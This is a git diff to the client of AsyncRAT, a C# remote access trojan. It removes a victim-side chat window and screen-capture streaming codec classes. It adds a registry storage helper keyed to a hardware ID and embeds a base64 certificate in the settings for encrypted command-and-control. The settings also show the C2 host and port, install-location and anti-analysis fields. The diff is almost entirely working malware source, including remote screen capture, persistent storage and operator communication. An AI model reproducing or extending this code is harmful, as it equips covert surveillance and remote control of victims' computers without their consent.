-using Client.Connection;
-using System;
-using System.Collections.Generic;
-using System.ComponentModel;
-using System.Data;
-using System.Drawing;
-using System.Linq;
-using System.Text;
-using System.Windows.Forms;
-
-namespace Client.Helper
-{
- public partial class FormChat : Form
- {
- public FormChat()
- {
- InitializeComponent();
- }
-
- private void TextBox1_KeyDown(object sender, KeyEventArgs e)
- {
- if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text))
- {
- richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine);
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "chat";
- msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine;
- ClientSocket.Send(msgpack.Encode2Bytes());
- textBox1.Clear();
- }
- }
-
- private void FormChat_FormClosing(object sender, FormClosingEventArgs e)
- {
- e.Cancel = true;
- }
-
- private void Timer1_Tick(object sender, EventArgs e)
- {
- if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose();
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/Helper/FormChat.resx b/AsyncRAT-C#/Client/Helper/FormChat.resx
deleted file mode 100644
index 1f666f2..0000000
--- a/AsyncRAT-C#/Client/Helper/FormChat.resx
+++ /dev/null
@@ -1,123 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- 17, 17
-
-
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs
index 63a4c18..18ff676 100644
--- a/AsyncRAT-C#/Client/Helper/Methods.cs
+++ b/AsyncRAT-C#/Client/Helper/Methods.cs
@@ -28,7 +28,7 @@ namespace Client.Helper
sb.Append(Environment.MachineName);
sb.Append(Environment.OSVersion);
sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
- return GetHash(sb.ToString());
+ return GetHash(sb.ToString()).Substring(0, 15).ToUpper();
}
public static string GetHash(string strToHash)
@@ -39,7 +39,7 @@ namespace Client.Helper
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
- return strResult.ToString().Substring(0, 15).ToUpper();
+ return strResult.ToString();
}
private static Mutex _appMutex;
diff --git a/AsyncRAT-C#/Client/Helper/RegistryDB.cs b/AsyncRAT-C#/Client/Helper/RegistryDB.cs
new file mode 100644
index 0000000..1b28cb3
--- /dev/null
+++ b/AsyncRAT-C#/Client/Helper/RegistryDB.cs
@@ -0,0 +1,67 @@
+using Microsoft.Win32;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Client.Helper
+{
+ public class RegistryDB
+ {
+ private static readonly string ID = Methods.HWID();
+
+ public static bool SetValue(string name, string value)
+ {
+ using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree))
+ {
+ key.SetValue(name, value, RegistryValueKind.String);
+ return true;
+ }
+ }
+
+ public static string GetValue(string value)
+ {
+ try
+ {
+ using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
+ {
+ if (key == null) return null;
+ object o = key.GetValue(value);
+ if (o == null) return null;
+ return (string)o;
+ }
+ }
+ catch { }
+ return null;
+ }
+
+ public static bool DeleteValue(string name)
+ {
+ try
+ {
+ using (RegistryKey key = Registry.CurrentUser.OpenSubKey(ID, true))
+ {
+ if (key == null) return false;
+ key.DeleteValue(name);
+ return true;
+ }
+ }
+ catch { }
+ return false;
+ }
+
+ public static bool DeleteSubKey()
+ {
+ try
+ {
+ using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true))
+ {
+ key.DeleteSubKeyTree(ID);
+ return true;
+ }
+ }
+ catch { }
+ return false;
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs
index 73c8006..80f3fff 100644
--- a/AsyncRAT-C#/Client/Settings.cs
+++ b/AsyncRAT-C#/Client/Settings.cs
@@ -12,15 +12,15 @@ namespace Client
#if DEBUG
public static string Ports = "6606";
public static string Hosts = "127.0.0.1";
- public static string Version = "0.5.2";
+ public static string Version = "0.5.3";
public static string Install = "false";
public static string InstallFolder = "AppData";
public static string InstallFile = "Test.exe";
public static string Key = "NYAN CAT";
public static string MTX = "%MTX%";
- public static string Certificate = "%Certificate%";
+ public static string Certificate = "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";
public static string Serversignature = "%Serversignature%";
- public static X509Certificate2 ServerCertificate;
+ public static X509Certificate2 ServerCertificate = new X509Certificate2(Convert.FromBase64String(Certificate));
public static string Anti = "false";
public static Aes256 aes256 = new Aes256(Key);
public static string Pastebin = "null";
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs
deleted file mode 100644
index 83e58e3..0000000
--- a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-namespace Client.StreamLibrary
-{
- public enum CodecOption
- {
- ///
- /// The Previous and next image size must be equal
- ///
- RequireSameSize,
- ///
- /// If the codec is having a stream buffer
- ///
- HasBuffers,
- ///
- /// The image will be disposed by the codec and shall not be disposed by the user
- ///
- AutoDispose,
- /// No codec options were used
- None
- };
-}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
deleted file mode 100644
index bd8775e..0000000
--- a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
+++ /dev/null
@@ -1,44 +0,0 @@
-using Client.StreamLibrary.src;
-using System;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-
-namespace Client.StreamLibrary
-{
- public abstract class IUnsafeCodec
- {
- protected JpgCompression jpgCompression;
- protected LzwCompression lzwCompression;
- public abstract ulong CachedSize { get; internal set; }
- protected object ImageProcessLock { get; private set; }
-
- private int _imageQuality;
- public int ImageQuality
- {
- get { return _imageQuality; }
- set
- {
- _imageQuality = value;
- jpgCompression = new JpgCompression(value);
- lzwCompression = new LzwCompression(value);
- }
- }
-
-
- public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
- public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
-
- public IUnsafeCodec(int ImageQuality = 100)
- {
- this.ImageQuality = ImageQuality;
- this.ImageProcessLock = new object();
- }
-
- public abstract int BufferCount { get; }
- public abstract CodecOption CodecOptions { get; }
- public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
- public abstract unsafe Bitmap DecodeData(Stream inStream);
- public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
- }
-}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
deleted file mode 100644
index 79fc22f..0000000
--- a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
+++ /dev/null
@@ -1,35 +0,0 @@
-using Client.StreamLibrary.src;
-using System;
-using System.Collections.Generic;
-using System.Drawing;
-using System.IO;
-using System.Text;
-
-namespace Client.StreamLibrary
-{
- public abstract class IVideoCodec
- {
- public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
- public delegate void VideoDecodeProgress(Bitmap bitmap);
- public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
-
- public abstract event VideoCodeProgress onVideoStreamCoding;
- public abstract event VideoDecodeProgress onVideoStreamDecoding;
- public abstract event VideoDebugScanningDelegate onCodeDebugScan;
- public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
- protected JpgCompression jpgCompression;
- public abstract ulong CachedSize { get; internal set; }
- public int ImageQuality { get; set; }
-
- public IVideoCodec(int ImageQuality = 100)
- {
- this.jpgCompression = new JpgCompression(ImageQuality);
- this.ImageQuality = ImageQuality;
- }
-
- public abstract int BufferCount { get; }
- public abstract CodecOption CodecOptions { get; }
- public abstract void CodeImage(Bitmap bitmap, Stream outStream);
- public abstract Bitmap DecodeData(Stream inStream);
- }
-}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
deleted file mode 100644
index 62e704e..0000000
--- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
+++ /dev/null
@@ -1,338 +0,0 @@
-using Client.StreamLibrary.src;
-using System;
-using System.Collections.Generic;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Text;
-
-namespace Client.StreamLibrary.UnsafeCodecs
-{
- public class UnsafeStreamCodec : IUnsafeCodec
- {
- public override ulong CachedSize
- {
- get;
- internal set;
- }
-
- public override int BufferCount
- {
- get { return 1; }
- }
-
- public override CodecOption CodecOptions
- {
- get { return CodecOption.RequireSameSize; }
- }
-
- public Size CheckBlock { get; private set; }
- private byte[] EncodeBuffer;
- private Bitmap decodedBitmap;
- private PixelFormat EncodedFormat;
- private int EncodedWidth;
- private int EncodedHeight;
- public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
- public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
-
- bool UseJPEG;
-
- ///
- /// Initialize a new object of UnsafeStreamCodec
- ///
- /// The quality to use between 0-100
- public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
- : base(ImageQuality)
- {
- this.CheckBlock = new Size(50, 1);
- this.UseJPEG = UseJPEG;
- }
-
- public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
- {
- lock (ImageProcessLock)
- {
- byte* pScan0 = (byte*)Scan0.ToInt32();
- if (!outStream.CanWrite)
- throw new Exception("Must have access to Write in the Stream");
-
- int Stride = 0;
- int RawLength = 0;
- int PixelSize = 0;
-
- switch (Format)
- {
- case PixelFormat.Format24bppRgb:
- case PixelFormat.Format32bppRgb:
- PixelSize = 3;
- break;
- case PixelFormat.Format32bppArgb:
- case PixelFormat.Format32bppPArgb:
- PixelSize = 4;
- break;
- default:
- throw new NotSupportedException(Format.ToString());
- }
-
- Stride = ImageSize.Width * PixelSize;
- RawLength = Stride * ImageSize.Height;
-
- if (EncodeBuffer == null)
- {
- this.EncodedFormat = Format;
- this.EncodedWidth = ImageSize.Width;
- this.EncodedHeight = ImageSize.Height;
- this.EncodeBuffer = new byte[RawLength];
- fixed (byte* ptr = EncodeBuffer)
- {
- byte[] temp = null;
- using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
- {
- temp = base.jpgCompression.Compress(TmpBmp);
- }
-
- outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
- outStream.Write(temp, 0, temp.Length);
- NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
- }
- return;
- }
-
- long oldPos = outStream.Position;
- outStream.Write(new byte[4], 0, 4);
- int TotalDataLength = 0;
-
- if (this.EncodedFormat != Format)
- throw new Exception("PixelFormat is not equal to previous Bitmap");
-
- if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
- throw new Exception("Bitmap width/height are not equal to previous bitmap");
-
- List Blocks = new List();
- int index = 0;
-
- Size s = new Size(ScanArea.Width, CheckBlock.Height);
- Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
-
- int lasty = ScanArea.Height - lastSize.Height;
- int lastx = ScanArea.Width - lastSize.Width;
-
- Rectangle cBlock = new Rectangle();
- List finalUpdates = new List();
-
- s = new Size(ScanArea.Width, s.Height);
- fixed (byte* encBuffer = EncodeBuffer)
- {
- for (int y = ScanArea.Y; y != ScanArea.Height; )
- {
- if (y == lasty)
- s = new Size(ScanArea.Width, lastSize.Height);
- cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
-
- if (onCodeDebugScan != null)
- onCodeDebugScan(cBlock);
-
- int offset = (y * Stride) + (ScanArea.X * PixelSize);
- if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
- {
- index = Blocks.Count - 1;
- if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
- {
- cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
- Blocks[index] = cBlock;
- }
- else
- {
- Blocks.Add(cBlock);
- }
- }
- y += s.Height;
- }
-
- for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
- {
- s = new Size(CheckBlock.Width, Blocks[i].Height);
- x = ScanArea.X;
- while (x != ScanArea.Width)
- {
- if (x == lastx)
- s = new Size(lastSize.Width, Blocks[i].Height);
-
- cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
- bool FoundChanges = false;
- int blockStride = PixelSize * cBlock.Width;
-
- for (int j = 0; j < cBlock.Height; j++)
- {
- int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
- if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
- FoundChanges = true;
- NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
- }
-
- if (onCodeDebugScan != null)
- onCodeDebugScan(cBlock);
-
- if(FoundChanges)
- {
- index = finalUpdates.Count - 1;
- if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
- {
- Rectangle rect = finalUpdates[index];
- int newWidth = cBlock.Width + rect.Width;
- cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
- finalUpdates[index] = cBlock;
- }
- else
- {
- finalUpdates.Add(cBlock);
- }
- }
- x += s.Width;
- }
- }
- }
-
- /*int maxHeight = 0;
- int maxWidth = 0;
-
- for (int i = 0; i < finalUpdates.Count; i++)
- {
- if (finalUpdates[i].Height > maxHeight)
- maxHeight = finalUpdates[i].Height;
- maxWidth += finalUpdates[i].Width;
- }
-
- Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
- int XOffset = 0;*/
-
- for (int i = 0; i < finalUpdates.Count; i++)
- {
- Rectangle rect = finalUpdates[i];
- int blockStride = PixelSize * rect.Width;
-
- Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
- BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
- for (int j = 0, offset = 0; j < rect.Height; j++)
- {
- int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
- NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
- offset += blockStride;
- }
- TmpBmp.UnlockBits(TmpData);
-
- /*using (Graphics g = Graphics.FromImage(bmp))
- {
- g.DrawImage(TmpBmp, new Point(XOffset, 0));
- }
- XOffset += TmpBmp.Width;*/
-
- outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
- outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
- outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
- outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
- outStream.Write(new byte[4], 0, 4);
-
- long length = outStream.Length;
- long OldPos = outStream.Position;
-
- if (UseJPEG)
- {
- base.jpgCompression.Compress(TmpBmp, ref outStream);
- }
- else
- {
- base.lzwCompression.Compress(TmpBmp, outStream);
- }
-
- length = outStream.Position - length;
-
- outStream.Position = OldPos - 4;
- outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
- outStream.Position += length;
- TmpBmp.Dispose();
- TotalDataLength += (int)length + (4 * 5);
- }
-
- /*if (finalUpdates.Count > 0)
- {
- byte[] lele = base.jpgCompression.Compress(bmp);
- byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
- bool Won = lele.Length < outStream.Length;
- bool CompressWon = compressed.Length < outStream.Length;
- Console.WriteLine(Won + ", " + CompressWon);
- }
- bmp.Dispose();*/
-
- outStream.Position = oldPos;
- outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
- Blocks.Clear();
- finalUpdates.Clear();
- }
- }
-
- public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
- {
- if (Length < 4)
- return decodedBitmap;
-
- int DataSize = *(int*)(CodecBuffer);
- if (decodedBitmap == null)
- {
- byte[] temp = new byte[DataSize];
- fixed (byte* tempPtr = temp)
- {
- NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
- }
-
- this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
- return decodedBitmap;
- }
- return decodedBitmap;
- }
-
- public override Bitmap DecodeData(Stream inStream)
- {
- byte[] temp = new byte[4];
- inStream.Read(temp, 0, 4);
- int DataSize = BitConverter.ToInt32(temp, 0);
-
- if (decodedBitmap == null)
- {
- temp = new byte[DataSize];
- inStream.Read(temp, 0, temp.Length);
- this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
- return decodedBitmap;
- }
-
- using (Graphics g = Graphics.FromImage(decodedBitmap))
- {
- while (DataSize > 0)
- {
- byte[] tempData = new byte[4 * 5];
- inStream.Read(tempData, 0, tempData.Length);
-
- Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
- BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
- int UpdateLen = BitConverter.ToInt32(tempData, 16);
- tempData = null;
-
- byte[] buffer = new byte[UpdateLen];
- inStream.Read(buffer, 0, buffer.Length);
-
- if (onDecodeDebugScan != null)
- onDecodeDebugScan(rect);
-
- using (MemoryStream m = new MemoryStream(buffer))
- using (Bitmap tmp = (Bitmap)Image.FromStream(m))
- {
- g.DrawImage(tmp, rect.Location);
- }
- buffer = null;
- DataSize -= UpdateLen + (4 * 5);
- }
- }
- return decodedBitmap;
- }
- }
-}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs
deleted file mode 100644
index 0f911b5..0000000
--- a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs
+++ /dev/null
